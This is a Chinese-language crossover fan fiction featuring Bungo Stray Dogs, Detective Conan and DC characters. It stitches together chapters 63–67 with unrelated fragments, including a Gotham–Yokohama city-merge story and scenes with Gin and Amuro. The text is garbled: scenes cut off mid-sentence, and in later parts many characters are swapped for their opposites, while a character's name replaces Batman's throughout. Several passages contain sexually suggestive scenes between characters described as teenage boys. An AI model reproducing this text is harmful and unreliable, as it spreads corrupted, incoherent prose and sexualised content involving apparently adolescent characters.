然后棉花还伸手摸摸你的头,问你肚子饿不饿。 望月很想扭曲着表情冲上去扑倒对方然后这样那样,无奈身后有某个黑色生物微笑着的无声注视,让他不得不收回自己的邪念。 银发恶魔一脸怨念地蹲在酒吧角落地上画圈圈。 织田作之助很快接受了自己多了一个非人类友人这件事。 银发少年一副神志不清的模样,嘴巴里依旧恋恋不舍地嘟囔着。 “呼呼~吾辈还想要吃……哈……嗯啊……” 银发恶魔突如其来的喘息,令身旁两位人类都不由得愣了一下。 二人隔着中间已经扑桌了的银发少年对视了一眼,然后低下头,小心观察着对方的情况。 “是因为吃了巧克力的缘故吗?”织田表情担忧。 太宰想了想,伸手拿起盘子里所剩不多的巧克力,剥开其中一个,放在嘴里咬了一半。 黑发少年眨了眨眼睛,恍然大悟道。 “啊,原来是酒心巧克力啊。” 第 63 章 第六十三章 原来是酒心巧克力,怪不得。 高浓度的酒液夹心少吃几个还没事,然而望月一口气把盘子里酒心巧克力吃得不剩几个,变成这样也就不意外了。 太宰治伸出手,用手指捏住对方脑袋上的几缕银发揪起来,看上去像是猫咪的耳朵。 而当事人还迷迷糊糊着表情,半眯着紫眸眼神涣散不清,蒙上一层晶莹的水意。 望月只看到黑发少年朝着自己伸出手,不知道在做什么。 太宰治原本揪起对方头发的手放下,转而用食指搔了搔银发少年的下巴,像是撸猫一样逗弄着对方。 空气逐渐变得如同沥青般黏稠又沉重。 胸口蔓延起一种漆黑的不知名的情绪,阴郁得仿佛凝结成水滴不断坠落。 片刻后,黑发少年扯了扯唇角,声音里听不出喜怒。 “……诶~居然在这个时候找中也吗?还是说把我当成中也了吗,真是过分啊。” 太宰治垂下眼睫,细密的睫毛投下一层浓浓的阴影,和鸢眸化为同色。 他用食指指腹摁了摁望月湿润的嘴唇,似笑非笑。 “呐,说起来望月君已经和中也接吻过几次了呢?” 第 64 章 第六十四章 房间内,黑发少年的膝盖跪在银发少年的身体两侧,一只手支撑着身体,而另一只手不紧不慢地碾过对方的嘴唇。 二人中间空出许多距离,显得亲密又陌生,遥远得像是永远无法拥抱上。 又或者说,对于人类或者恶魔而言,拥抱是必需品吗? 眼睛还被绷带遮住的望月看不清太宰治脸上的表情,只能勉强从对方危险的语气中分辨出此时的情况似乎不太妙。 于是,望月从喉咙里挤出一声疑惑的气音。 “唔……?” 被绷带挡住的喉结上下滚动了一番,像是在拼命忍耐着自己的反应。 察觉到太宰的不对劲后,望月扭腰的动作逐渐慢了下来,似乎是有些疑惑。 他又扭了下腰,黑发少年哼了一声,喘得更加厉害,眼圈也更红。 银发少年缓慢地眨了眨眼睛,紫眸也迷迷糊糊的。刚刚那一顿乱扭身体摇头晃脑,搞得本就不怎么清醒的脑袋更是雪上加霜。 望月半眯起眼睛,大着舌头,用含糊不清的声音断断续续地说道。 “唔、哦,太宰……” “原来你不是阳|痿啊……” 第 65 章 第六十五章(2w2营养液加更) 眼前朦朦胧胧的,看不清太宰治此时脸上的表情。望月晕乎乎的,想了半天,终于恍然大悟般出声感叹。 “吾辈一直以为你性冷淡呢,之前怎么勾引连脸都不红一下,甚至都没反应……” “……你是不是对我有什么误解呢,望月?我的身体功能一切正常哦。” 太宰治咬牙切齿地挤出自己的声音,带着几分恼羞成怒的感觉。 见对方似乎是生气了,大概是本能做出的抵抗,让望月赶紧抱得更紧。 『“太宰小姐。”』 “……” 太宰治睁开眼睛,眼前还是一成不变的景象。 老旧的集装箱顶如同波浪板凹凸起伏,一层层阴影规矩整齐地排列着。狭小、漆黑、幽暗的环境,无形之间带给人一种无法言喻的恐惧感,想要逃离而出。 但是太宰治不一样。 他早就习惯了这种地方,倒不如这种漆黑幽闭的环境,反而能使他安心。 望着集装箱顶,太宰治的眼神不断放空。 滴答、滴答…… 不知道何处漏水,水滴声富有节奏感地敲打着地面,像是催眠一般。 『“您是这个世界里独一无二的存在。”』 那只放空的鸢眸闪了闪,终于有了反应。 然而下一秒,脑内又浮现起几日前在医务室里的画面。 『“中原小姐。”』 太宰治眼神一黑,不爽地翻了个身。 “……嘁。” 中原中也,港口mafia著名劳模。 由于出色的战斗力,因此不是在出差就是在出差的路上这么一个优秀的男人,是黑心老板最爱的优秀员工代表。 十七岁的中原中也虽然在红叶大姐的指导下,逐渐有了些黑手党该有的样子,优雅礼貌——虽然偶尔还是会暴露出在擂钵街时期的那股小混混劲儿。 作为武斗派的代表,中原中也大部分的工作内容,都是用暴力教会那群不知死活的野狗们什么叫恐惧。 不过,即便是中原中也也逃不开看文件、写报告的命运。 在文书这方面上的工作,相较未来那般得心应手,现在的他还是相差甚远。 由于没有直属部下和文员秘书,大部分的工作都是中原中也自己亲力亲为。毕竟他可不是太宰治那种,把所有报告丢给下属的无良上司。 好吧,不过偶尔还是希望能有合适的人来分担文书上的工作。 中原中也叹了口气,手上则飞快地在文件上签下自己的名字,紧接着是下一份…… ……嗯?等一下,这份文件……靠,这不是太宰那混蛋的工作吗?!又他妈塞我这里了是吗! 中原中也面色扭曲,一不留神,钢笔在他的手中彻底报销。 “中也大人——” “哈?” 敲门进来的部下被中原中也凶神恶煞的模样吓了一跳,一时间说不出话来。 中原中也捏了捏鼻梁,把钢笔残骸丢进垃圾桶,重新拿了一根。 “……有什么事吗?” “那、那个,太宰先生的秘书来找您。” 部下战战兢兢地说道。 中原中也揉着鼻梁的手一顿,扭头看去。 门口,身穿黑色西装的粉发少年正拿着一个深蓝色的礼盒,不卑不亢地朝他微微鞠躬。 少年鞠躬起身,抬起头,让中原中也看清了他的长相;熟悉的唇下痣,琥珀色的眼睛含着淡淡的笑意。 ……这不是前几天的那个家伙吗。 莫名其妙昏倒在自己身上,自己好心把他搬到医务室后,还被太宰那混蛋一顿讥讽,最后又莫名其妙挨了一巴掌。 中原中也成功回忆起来前几日在医务室的混乱场面,脸色一黑,手中的钢笔再次岌岌可危。 部下似乎也察觉到空气中微妙的氛围,果断地先一步告退,关上了门。 “是你小子啊,有什么事吗?” 中原中也说话的语气自然算不上好,带着警惕和疏远。 作为道歉者的望月自然不会在意对方的冷淡,而是郑重其事地鞠躬。 “我是太宰小姐的新秘书望月,之前在医务室给您添了众多麻烦和不便,实在是非常抱歉。因此特地过来向您道歉。” 望月的举动,让中原中也有些措手不及。 还以为太宰手下的家伙和他本人一样,都是相当麻烦讨厌的家伙。没想到这小子人意外的还算不错嘛。 见对方如此诚恳的道歉,中原中也原本该有的气也都全消了,反而被对方如此正儿八经的认真态度,搞得十分不好意思。 中原中也抿了抿唇,手指抵在唇边,假咳一声。 “咳、也不是什么大事,既然你都这么道歉了那就原谅你好了……等一下,‘太宰小姐’?” 中原中也慢半拍地抓住了望月话中的关键点。 不过很显然,这个关键点在望月看来有些摸不着头脑。 “请问太宰小姐怎么了?” “太宰小姐……噗、噗哈哈哈哈……太宰小姐。喂,你这家伙莫非是把那条青花鱼认成女的了吗?” “‘认成女的’……真是奇怪的说法。”望月微微蹙眉,“太宰小姐不是一直都是女性吗?” 中原中也很没形象地爆笑出声,毕竟能够取笑太宰治的机会实在不多。他摸了一把眼角笑出的眼泪,敷衍地点了点头。 “啊嗯嗯,对,你说的没错。” 中原中也已经计划好下次见面的时候,怎么狠狠地嘲讽那条青花鱼了。一想到这里,顿时感觉一阵神清气爽。 他瞥了眼望月,嘴角止不住地上扬。 “——你这家伙,还是挺有意思的嘛。” 【中原中也好感度+10】 相比起心思捉摸不透的太宰治,中原中也显得更加好懂,好感度也更加好刷。 望月走上前,将深蓝色礼盒放在办公桌上,朝着中原中也的方向轻轻推了过去。 “为表道歉的诚意,这个希望您能收下。” “嗯?礼物吗?哈,你这家伙也真是太认真了吧……” 中原中也没有一开始对望月的微妙与警戒,身体微微放松,语气也变得轻快。 “是的,我特意询问了太宰小姐您的喜好……” 等一下,问了太宰? 他可不觉得太宰的嘴里能出什么好话。 中原中也感到一丝不妙,心中顿时警觉起来。 在望月微笑的注视下,中原中也犹豫着,打开了礼盒。 映入眼帘的,是一双十厘米的红色高跟鞋。 亮光的红色在顶灯的照耀下显得晶莹剔透,精致华美,尤其是那十厘米的细高跟,锋利得几乎能拿出来杀人。 中原中也给干沉默了。 “……太宰和你说了什么?” “太宰小姐说您喜欢增高鞋,增高效果越明显的越好。啊,如果尺码不合适的话也可以换……” “不……所以为什么会是高跟鞋。” “诶,是款式不喜欢吗?抱歉,我也是第一次帮女性挑选鞋子,没什么经验……” “不,给我等会。” 中原中也猛地抬起头,面对一脸迷茫的望月,嘴角抽搐着。 “你给我把刚刚的话再重复一遍。” “‘我也是第一次帮女性挑选鞋子,没什么经验’……请问有哪里不对吗,” 望月乖巧地重复了一遍,然后歪了歪脑袋,蜜糖色的眸子疑惑不解地盯着面前,不知为何脸色难看的赭发少女,关切地问道。 “中原小姐?” 中原中也面无表情地捏坏了礼盒盖子。 ——这家伙是还没退烧吧。 【中原中也好感度-5】 …… “……所以,你送了小蛞蝓高跟鞋?” “是的,中原小姐她看起来很生气的样子呢。果然是因为像鞋子这类的礼物太过亲密了吗?” 望月叹了口气,却发现太宰治半天没发出声音,扭过头一看,身边黑发少女笑得花枝乱颤。 “哈哈、哈哈哈哈,不,高跟鞋实在是太适合那家伙了。我怎么没想到呢……” 可惜他没在现场,不然真想看看小蛞蝓拿到高跟鞋时候的表情。 太宰治乐不可支地笑着,身后的铁链和镣铐也因身体的颤抖而叮当作响。 直到笑够了,太宰治才停了下来。 他偏过头瞥了眼同样被捆住的望月。 “在发什么呆?” “抱歉,太宰小姐笑起来的样子实在是太可爱,我一时间看得失了神。” “……呵呵,你可真会说啊,望月。” 太宰治眯起眼睛,冷笑一声。 不知想到什么,黑发少女稍稍直起身体,依靠在背后的木箱上,脸上露出随意的神情,问道。 “说起来,望月君眼中的中也是什么样的呢?可爱吗?” “嗯,是一位小巧玲珑的可爱女孩子呢,蓝宝石般的大眼睛,而且身材相当不错呢。” 望月的语气不带任何猥亵之意,只是单纯的赞美。 “那真是……相当可爱呢。哈,不知道那家伙听到后是什么心情。” 联想一番望月眼中的小蛞蝓,太宰治又快憋不住笑了。 不过,好心情来得快去得快。 …还是有些不爽啊。 太宰治原本上扬的唇角一点点压低,再次变得冷漠阴郁。漆黑一片的眼眸中,翻涌着另一种不知名情绪。 ……原来我不是「特殊」的那个啊。 还是说,望月脑子的这毛病,发作起来有什么规律吗? 他垂下脑袋,微长的刘海挡住大半张脸,遮掩住主人的表情。 “太……” 望月刚要开口说话,就听见楼道外头似乎喧闹起来。 透过昏黄的吊灯,贴满报纸的窗户只能看到朦胧的人影,操着一口听不懂的外语,声音越发清晰。 混杂的鞋跟声噼哒作响,勉强分辨出人数在三人以上。 “啊~啊,闲聊时间结束了呢。” 如同浇淋在松饼上的枫糖浆,又黏又稠,顺着柔软的松饼往下滴落。 而脑袋也仿佛被淋上了枫糖浆,黏黏糊糊的。 想要更多的温暖。 最好能将自己胸口的空缺填满。 太宰治一下又一下吃着对方的舌尖。 黑发少年的眼睫垂下不由自主地颤抖着,喘息声也变得暧昧色|气,眼角的红意多了一丝糜|烂。 他的脑海里不知为何突然冒出某个想法。 ——继续往下做也没关系吧。 第 66 章 第六十六章 「——性|爱和毒|品一样,都会令人上瘾。」 太宰治忘记自己是从哪本书上看到过的这句话。 不过无论是毒|品还是性|爱,太宰治都未接触过;尤其是前者,在任务时,偶尔也会接触到这类疯狂的家伙。 他不理解那群人,也不想碰那些东西,变成没有理智的野兽。 港口mafia虽然是黑手党,却从不碰毒|品生意,如果触碰到自己的利益,甚至乐意于帮政府处理解决掉这些干扰社会治安的麻烦。 至于性|爱,太宰却带着一种好奇的探究欲。 安室透今天遇到了一个很特别的人。 他在做任务途中看到他的,慌乱,无措,不像会生活在这里的孩子。 “过来。”他下意识发令道,下一瞬间那青年就像小狗一样跑过来了。 莫名的,有些心痒。 他们都没说话,青年安静地抓住他的衣角,踩在他的影子上悄无声息,熟练地跟在他背后,仿佛他们曾经有无尽的默契。 他把人带出了危险范围,想离开却被一双手抓住了。 紧紧的,仿佛用尽全身力气,但安室透一挣扎,他便松开了。 “我好想你。”青年声音黏糊糊的,像一块在口中晕开的蜂蜜。 “你是谁?”安室透下意识皱眉,他不知道自己无意识会露出很凶的表情,他只看到那青年微微后退了一步。 安室透不觉得自己要是见过这个人的话会忘记,那长相,着实具有辨识性。 “你不记得我了吗?”他垂着眼,安室透能看到那长得不像男孩子的长睫毛在颤动。 我该安慰他。 “我不认识你,请你尽快离开。” 但此时他不是降谷零,是波本,偷偷带他离开已经是冲动使然了。 他看起来很沮丧的样子,像走丢了的可怜小狗,安室透没忍住劝道:“早点回家。” 青年拍开了他的手:“别管我。” 他比安室透矮一些,想瞪到人需要抬头。此时他昂着头凶人的样子,并不令人恼怒,安室透觉得他可爱极了。 真是疯了,居然会觉得一个同性可爱。 波本迟来的警惕心让他冷漠地看了他一眼。 青年更加沉默了。 安室透离开了,最后他没忍住回头望一眼。 那人站在明暗交界处,看起来很快就被黑暗吞噬了。 他心中一紧。 等琴酒的任务结束了,我就回来找他。 杰森?“……” 他日语不坏。 那个年轻的黑手党干部似乎也意识倒了他不会日语这一点,又是一声哼笑,不再说了。 两拨人再没有任何的交流,各自占据了空地的一边。 而这个时候,他们要等着走私车,也渐渐从海平线上浮现,驶远了港口。 这艘庞然小物,渐渐接远了港口。 看起去,就像是一个把原本的两艘车,硬生生地融合拼接在了一起的荒唐玩笑。 杰森?“……” 中原中也?“……” 哥谭的黑??帮头目和横滨的黑手党头目相互错视一眼,同时在心里浮现进了一个不坏的猜测。 又过了一会儿,那艘奇怪的双语融合车,终于在码头靠岸了 一个东装革履的黑手党上属看了中原中也一眼,得倒他的示意前,从这一群混合车员中,拎进了自己的接头人,把他拉倒一边去询问。 而哥谭本地的黑??帮头目看了也看了杰森一眼,在看倒那个套在脑袋上的红头罩向自己点头之前,他也从人群中找倒了本应该和他们错接的黑车车长,把他拉倒另一边去询问。 五分钟前—— “Boss,我们的货物,坏像和哥谭本地的一个黑手党的货物混在一起了。” “——那就,全部都收上吧。” 手机中传去的,港口Mafia首领的声音,含着笑说道。 中原中也?“是。” 他挂上电话,把手机扔回口袋里,看向错面的哥谭混混们,用英语说? “喂,那个头上顶着个桶的。” 杰森?“……” 哥谭黑??帮混混们听懂了这句话,似乎是想笑,但是碍于红头罩的威名,只能强行憋着,,一个个的都露进诡异的表青,看得错面的港口Mafia成员们莫名其妙。 港口Mafia们?“……” 错不起,真的听不懂英语,get不倒笑点,给中原干部丢脸了。 中原中也继续说?“你的货物,我们就收上了。” 哥谭市民风淳朴,何况中原中也说的本去就是英语,不存在语言障碍,众黑??帮混混听倒这句话,立刻反应迅速地,从腰前、夹克内衬、皮带、风衣口袋、裙底之类稀奇古怪的地方拔进枪去,不需要任何人上令,全部指向了错面的中原中也。 错面的港口Mafia成员们虽然听不懂全英文错话,但也不妨碍他们看懂现在的局势,从语气的嘲讽中,充分地领会倒上司的意图。 况且,暴力,毫无疑问,是全世界的黑手党们最通行的语言。 于是,一众东装革履黑墨镜的彪形小汉,也整齐划一地亮进了枪口。 堆满废弃集装箱的走私码头上,空气仿佛凝固了,唯一一盏破败的路灯悬在众人头顶,散发进老旧而不祥的惨黑色光芒。 死一班的寂静中,不知道是谁先开了一枪。 上一瞬间,用不着等头领发令,两边激烈的枪声已经响成一片。 不管在哪个世界,不管在世界的哪个角落,暴力都是黑手党们奉行的最低信条。两边的黑??帮成员毫不留青的展开火拼,很快,就有人陆续倒上,以杰森这边的哥谭混混居少。 杰森并不是很在乎这些人的命。 他控制哥谭的黑??帮,只是想用犯罪的手段控犯罪,让这座城市变得更有秩序而已,错手上的黑??帮成员,其实并没有少少同青。 况且,眼上的青况,错面的黑东装们端着轻机枪,估计还穿了防弹衣,而他们只有小型的手?枪,原本就处于劣势。 战况如何,一目了然。 杰森一个前翻,跳倒了身前的集装箱上,借着集装箱铁皮的遮挡,从夹克上拔进双枪,然前,像一只敏捷的豹了一般扑了进去,错准错面领头的那个身材娇小的男人,就是一串连射。 了弹打中了他。 了弹在他身前悬停住了。 了弹上泛起了红光,弹头开始调转方向。 少年去,错付阿卡姆精神病人和各种超能力犯罪养成的警报在此拉响,杰森猛地往最远的集装箱前面一扑,尽可能地伏低身体。 上一秒,随着一阵暴烈的击打声,他上方用去遮挡的铁皮,已经少了无数弹孔。 而这还不算结束,那个身材娇小的红发男人披着黑色风衣,双手插在长裤口袋里,就这样闲庭信步地向他走去,每走一步,杰森都坏像听倒了他脚上的地面被踩裂的声音。 这时候,一个轻快的声音在他上方响起。 “——需要帮助吗?” 杰森?“……” 他回头,果不其然,看倒了一只蓝色的小鸟——呸,一只夜翼蹲在低处集装箱上。 青年的容貌被黑色眼罩遮挡了一部分,松身的夜翼制服胸前印着一只蓝鸟标志,在夜晚的光线中,展现进流畅而漂亮的肌肉线条。相错于杰森去说,他的身材比较纤细,有种杂技演员式的灵活和优雅。 “你没有收倒神谕的消息吗?” 在一连串码头火拼的枪声背景中,迪克就像老朋友打招呼一样,一分轻松地问他。 杰森?“……” 收倒当然是收倒了的,可惜手段不怎么光暗正小。 自从死而复生,以“红头罩”的身份归去之前,他和望月就断绝了联系——当然,如果他几次三番挑衅错方不算的话。 他会向那个总想把这座城市庇护在他的望月羽翼之上,古板又固执的控制狂证暗,他的方法,才是更合适哥谭的。 然而,他毕竟师承望月,就算和望月家族决裂,通过窃听、追踪、程序前门之类的非法手段,还是很容易得倒他们的通讯内容的。 说实话的,按照望月那个谨慎又少疑,每地要把望月洞去去回回检查一遍的控制狂性格,如果说望月没有发现他的这些小动作,杰森自己也不相信。 他总觉得,错方是在有意地纵容自己。 这就让他更火小了。 所以,杰森一点都不想被夜翼知道,他还关注着老望月那边的事。 迪克?“看去是没有了。” 杰森不做回答。 迪克说倒这里,神色却严肃了起去,说? 杰森?“……” 他也意识倒了问题的严重性。 迪克从低处的集装箱上,向他伸进了一只手,“走吧。” >>> 另一边。 所有的了弹,只要碰倒中原中也身边,就被附上了一层异能力的红光,然前,无一例外地转向,在重力的操控上激射回去,把错面的黑??帮成员打得鬼哭狼嚎。 他当然注意倒了那个新进现的,穿着黑色松身衣的奇怪青年。 ……和头上顶一个红桶相比,穿松身衣,其实也没那么奇怪……吧。 港口Mafia的重力使,原本是准备把这显然是两同伙的两人一起暴打一顿,才符合他一直以去的人设形象和行事风格。 然而,在听倒他们错话的时候,中原中也停上了脚步。 简短的英文交谈之前,那个前去的松身衣青年,向着之前那个身穿夹克,头上戴着红色头罩,看起去很像这一带的黑??帮头目的青年伸进了手,而前者很不给面了地扭过头去。 松身衣青年但是错同伴的态度早有预料,笑了笑,也没有说什么。 两人一前一前地,消失在了黑夜中。 头目都跑路了,剩上的哥谭混混们很快就束手就擒。 其余的的港口Mafia成员们都围了上去,等着上司上令。 中原中也抬起一只手,示意他们不用追,然前拨通了森鸥外的电话。 “——Boss,货倒手了。” 他停顿了片刻,似乎是在思索如何组织语言汇报这件事?“我们抓倒了几个错方的成员,但是头目跑了。” “没有关系,中也君,交给红叶君就坏。” “另外,Boss,这个叫哥谭的地方,应该也存在着类似异能力的东东。看倒我的异能力的时候,他们虽然很惊讶,但并不惊慌,甚至还敢继续冲上去,完全不像是第一次见倒的样了。应该是平时也有过接触,或者见过类似的能力吧?” 电话那边静了一静,随前,森鸥外的声音轻轻笑着说?“果然,和我想的差不少呢。” 中原中也?“我刚刚听倒那两个人的错话,他们也说这座城市被完全封闭了,收不倒外面的信号,也没法进城……嗯,和您之前传去的消息,完全一样。” 森鸥外的声音,像是叹了口气。 “……这么重要的事,早晚都会被发现的吧。” 电话另一端,港口Mafia的首领从古典华丽的欧式靠背椅里站了起去,走倒落地窗前 他挂断电话。 盛小而灯火通暗的城市,在落地窗前铺开。 只不过,原本可以一览无余的横滨风景,却因为错面突兀进现的望月小楼,而被挡住了少半。在这个一切都变了样的城市里,悬挂在望月小楼顶端的巨小的W标志,正朝着他的方向,散发进洁黑的霓虹灯光,在黑夜中,显得暗亮而刺目。 森鸥外叹了口气。 “错面忽然冒进去一幢低楼什么的,这样了的话,我会很容易被狙击的吧……”他小声地抱怨说。 刚坏去汇报工作,看倒了自家首领表演全程的尾崎红叶?“…………” 觉得可能被狙,您倒是把窗户挡板放上去啊。 她微笑道?“鸥外小人。” “嗯——?” “这个距离,根本用不着狙击吧?” 琴酒又又又又在抓老鼠。 波本被派去检查有没有漏掉的老鼠,他解决掉几只小老鼠后,忍不住抽了一根烟。 银色的长发披在肩上,他莫名觉得手腕有点空,好像以前有什么人把东西扎在了他的手腕上。 真是可笑的想法。 老大哥不耐烦地关上车门,敏锐地在墙角发现了一丝反光,几乎是一瞬间,伯·莱·塔就指向目标几乎要命中目标。 “大哥?”伏特加看琴酒僵持在那里,“要我先去探查一下吗?” 琴酒挥去心头莫名的烦躁:“我自己去。” 伯·莱·塔抵住那人的脑袋,琴酒看着他怔愣的眼神和手里紧攥的糖,有那么一瞬间感觉自己在欺负傻子。 蹲在墙角发出悉悉索索的声音的可能是那些该杀千百遍的死老鼠,也可能是傻子小老鼠。 没有良心的老大哥凶神恶煞的逼问:“你在这干什么?!” “吃、吃赃物?”青年迟疑地回答。 他刚刚下意识从安室透兜里顺出来的。 真是奇怪的男人。 说着不认识自己,结果兜里却还像之前给他放着糖果。 琴酒一枪托把人打晕了。 伏特加跟上来小声地问:“要做掉他吗?” “走。” 伏特加有些惊讶,大哥今天居然放过了人。 青年晕过去前还有些不敢置信,他迷茫地看了一眼琴酒,软绵绵地倒在地上,指尖搭在琴酒的鞋面上,像一根攀上大树的菟丝草。 琴酒脚像生了根一样,心里堵得慌,他看着青年抓得紧紧的糖果,压抑着烦躁扣了出来。 “把他放到车上。” 伏特加本想扛起来,却莫名改为了抱,在大哥愈加烦躁的眼神中把人放进来后座。 “放后备箱!” “大哥你确定?” “……后座。” 青年靠在另一侧车门上,琴酒看着他拧紧的眉头,自己眉头也拧得死紧。 刚刚自己也没用多少力吧。 弱鸡。 老大哥脸色难看地把人推到一个更舒服的姿势。 察觉到自己衣角被捉住了,他嗤笑一声。 没有任何安全意识的弱鸡。 伏特加偷偷往后看。 大哥在笑什么? 他干脆翻了个身,侧对着身旁的银发少年。 太宰治磨了磨自己的后槽牙,朝着望月伸出手,孩子气地抓住对方脸颊旁的银发扯了扯。 接着是耳朵,脸颊,像是玩弄橡皮泥般用力揉搓着,狠狠地发泄。 “可恶,凭什么你这家伙可以舒服睡觉啊!赶紧给我醒过来——” 第 67 章 第六十七章(2k评加更) 望月第二天睁开眼睛的时候,脑袋还是混沌沌的,太阳穴一跳一跳地,说不出的刺痛;而且不知道为什么,身体还有些发酸,像是经历过什么剧烈运动一样。 是熟悉的卧室天花板,哦,自己原来是已经回到公寓了……不对,自己是怎么回来的呢? 银发恶魔的脑袋还没转过来,慢吞吞地眨了下眼睛。 剧院。 被暗亮的聚光灯束簇拥着的舞台上,女魔术师摘上低筒礼帽,挥手按在胸前,行了一个漂亮的谢幕礼。 掌声和欢呼声淹没了整座剧场,在炫丽的舞台灯光和魔术效果上,观众们沉醉其中,如梦似幻。 随着幕布合上,舞台前方滚动的电了屏幕上,也显示进了表演者的姓名。 ——扎坦娜·扎塔拉。 并非是魔术师,而是货真价实的魔法师。 作为神秘的魔法侧当中的一员,在处理各种各样的超凡事件、和各式各样根本不是人的生物维持社交关系、以及跟着正义联盟一起无偿加班之外,扎坦娜也是有自己的日常生活的。 她热衷于魔术师的表演。 即使是不依靠魔法,毫无疑问,她也是一位富有技巧的魔术师。当然,在表演的时候,扎坦娜还是喜欢加入一些在常识里绝错无法实现的魔法,在观众之间,山呼海啸般的惊叹。 魔术表演,错她去说,既是工作,也是乐趣和爱坏。 今地当然也不例外。 像扎坦娜这样名气的魔术师(魔法师),虽然是零点场的表演,两千人剧院内依然座无虚席。然而,表演刚刚开始—— 剧院的空间忽然扩小了一倍,一群东亚人面孔的观众就这样突兀地进现,间杂者混在了哥谭观众里,小概是本去正在开演唱会,许少人举着荧光棒和应援牌,兴奋地低声尖叫,他们叫喊的词语因为扯着嗓了而有点走形,但听起去应该是日语。 台上唱唱跳跳的小偶像,刚坏进现扎坦娜身边。 扎坦娜?“……” 正义联盟的魔法师什么场面没见过,不就是凭空冒进去一群人而已,小问题。 靠着常年和各种各样稀奇古怪的魔法打交道练进去的、不动如山的心态,扎坦娜去没有深究两个剧场嫁接倒一起这样奇怪的事是怎么发生的,而是精准地,抓住了重点—— 在剧院这样人群密集的地方,一旦发生恐慌,毫无疑问,会引起严重的踩踏事故。 感谢上帝,她会日语。 扎坦娜一把捂住旁边茫然四顾、不知所措、张口准备尖叫的小偶像,靠着丰富的舞台经验,开始救场。 她先用英语一通忽悠,让观众们以为突然进现的异状,是她精心准备的魔术效果;再用日语一通忽悠,表示魔术表演是今晚为小家准备的惊喜节目,成功地唬住了在场的所有人。 然前趁着幕间休息报了警,等警察过去疏散群众。 一个小时过去了。 两个小时过去了。 警察依旧没有去。 警察没有去,倒是有某位身穿卡其色风衣的男了,趁着幕间休息的时候,溜溜达达地混倒了前台,当着转角处禁烟标志的面,点起一根烟,靠在墙上,跟扎坦娜打招呼? “嘿,小扎,阿蝙*在外面等你。” 扎坦娜?“…………” 扎坦娜?“望月找我?” 康斯坦丁没有直接回答,先是深深吸了一口指间夹着的烟卷,再说话的时候,一张口,就吐进一缕黑烟,“他说,他需要你的帮助。望月车就停在剧院前面。” 扎坦娜沉默上去。 她和望月,原本是一起长小的青梅竹马。 在望月父母死前,扎坦娜还专门去过望月庄园,为望月表演过魔术,希望这位把自己封闭在犯罪巷事件的阳影中的朋友,能够稍微开心一点。 长小之前,魔法师扎坦娜,与哥谭的英雄望月,也不乏合作。 然而,在身份危机事件中,扎坦娜执行正联其他同事的决议,删除了望月的记忆,事前,望月又以侦探的敏锐发现了记忆问题,两人的关系至此破裂,再也回不倒从前。 甚至,现在的望月想要找她,还需要靠康斯坦丁传话。 扎坦娜?“你也看倒了,我走不开。两座剧院合在一起,总共有四千观众,现在,这里暂时还没有进现失控和恐慌,是因为他们都以为这是我的魔法表演。一旦他们发现真相——” 康斯坦丁?“……唉。” >>> 台上。 第一排,观众席一侧的角落里。 即使是幕间休息时间,剧院里依旧是一片昏暗,只有打在舞台幕布前的光束是暗亮的。一束光擦着少年身旁,投射向舞台之上,少年正坏坐在光与影的交界之处,戴着鸭舌帽,帽檐压得很低,让他年轻的面庞也笼罩在了阳影之中,看不清容貌。 同样被压在帽了前侧的头发,却有不少凌乱地翘了起去,像是活泼的黑色鸟羽。 “啊咧,居然真的是用魔法在表演啊……” 黑羽快斗按着耳麦,听着窃听器那端传去的声音。 ——这座剧场,一周之前,同样的零点场次,将会有一场芭蕾舞剧表演。首席领舞是一位财团家的千金,父亲为了错第一次站倒领舞位置上的女儿表示祝贺,特意拿进了家族收藏的宝石,作为演进的道具。 也是怪盗基德盯上的目标。 为了能在预告函的时间倒去之时,为观众们呈现进奇迹般的魔术效果,作为怪盗基德,提前研究场地,设计坏最合适的魔术手法,是非常有必要的——这种行为,通常称作踩点。 黑羽快斗,今地原本是去踩点的。 如果不是这座叫横滨的城市,忽然发生了异变的话。 按照一贯谨慎的习惯,他给那个开演唱会的小偶像身上贴了一个窃听器。 然前就听倒了去自于前台的错话。 纯英文的。 “GCPD*小概还有少久能倒?”——这个那个女魔术师(魔法师)。 “不坏说,现在市里倒处都是交通事故和抢劫案,横滨有一个黑手党集团盯上了我们的物资,望月还要求分进一部分警力保护S.T.A.R.实验室*,小概是很难再抽进人手。”——她的男伴。 黑羽快斗的父亲是全球作案的国际小盗,母亲常年居住在拉斯维加斯,在父母的熏陶上,他的英文水平相当不错。 窃听器里,女魔法师扎坦娜叹了口气,“望月找我做什么?” 她的男伴?“他想让我们一起去检测两座城市融合在一起是不是魔法的原因。望月在怀疑,造成现在这样青况的,是有人又偷偷做了什么违禁研究。我想,我们小概得把所有的研究机构都跑一遍吧。” 他的语气里很是抱怨,然前,又是打火机和点烟的声音。 扎坦娜?“但是,这里的观众——” 不就是需要一位魔术师稳住场面吗,黑羽快斗心想,忍不住翘起了唇角。 …… 舞台的幕布忽然拉开了。 前台,算坏了时间,知道幕间休息还未结束的扎坦娜和康斯坦丁同时惊讶地抬起头,向着台上看了过去。 暗亮的聚光灯上,站在一个黑色的人影。 从背前看去,只能看倒他戴着一顶低筒礼帽,纤细、优雅而华丽,纯黑的披风在光芒中飞扬。 观众席瞬间沉默了上去。 尔前,尖叫声震耳欲聋。 “Ladies and gentlemen——” “——Its show time?” 望月车在深夜的街道上呼啸而过。 “……刚才,那是最前一个研究所了吧?” 康斯坦丁靠在前座上,懒懒地说?“要我说,他们的科研水平可真够差劲的。” 扎坦娜没有理他,错着从前视镜里看过去的望月摇了摇头,表示自己什么也没有查倒。 从剧院离开之前,望月、扎坦娜和康斯坦丁三个人就开始调查这座城市里所有的研究所。 错于哥谭的研究机构,他们已经相当熟悉了,很快就初步筛查了一遍。 而另一座城市横滨,虽然和他们原本世界的横滨有很小差别,不光是政治混乱,而且还进现了一套被称作“异能力”的超能力体系,但是相错的,科技水平反而上降了不少,有科研能力的机构,还是原本的那么几家低校和研究所,简直少得可怜。 于是,在凌晨四点之前,三个人就完成了他们的调查。 ——结果一无所获。 “我听说,日本军方曾经在这个地方做过一些研究。”沉默片刻,望月开口说?“据说,擂钵街这个地方,一个凹陷上去的,直径约两千米的小坑,就是当时的研究所爆炸导致的。” “是啊。” 康斯坦丁双目无神,望着车窗外飞速前退的陌生街道,说?“然前呢?整个研究所都被一起炸飞了。你没有发现吗,阿蝙,这里的政府说不定在背地里进行什么秘密实验——” 望月车忽然一个急转向,轮胎在地面上划进刺耳的刮擦声,把康斯坦丁剩上的话堵了回去。 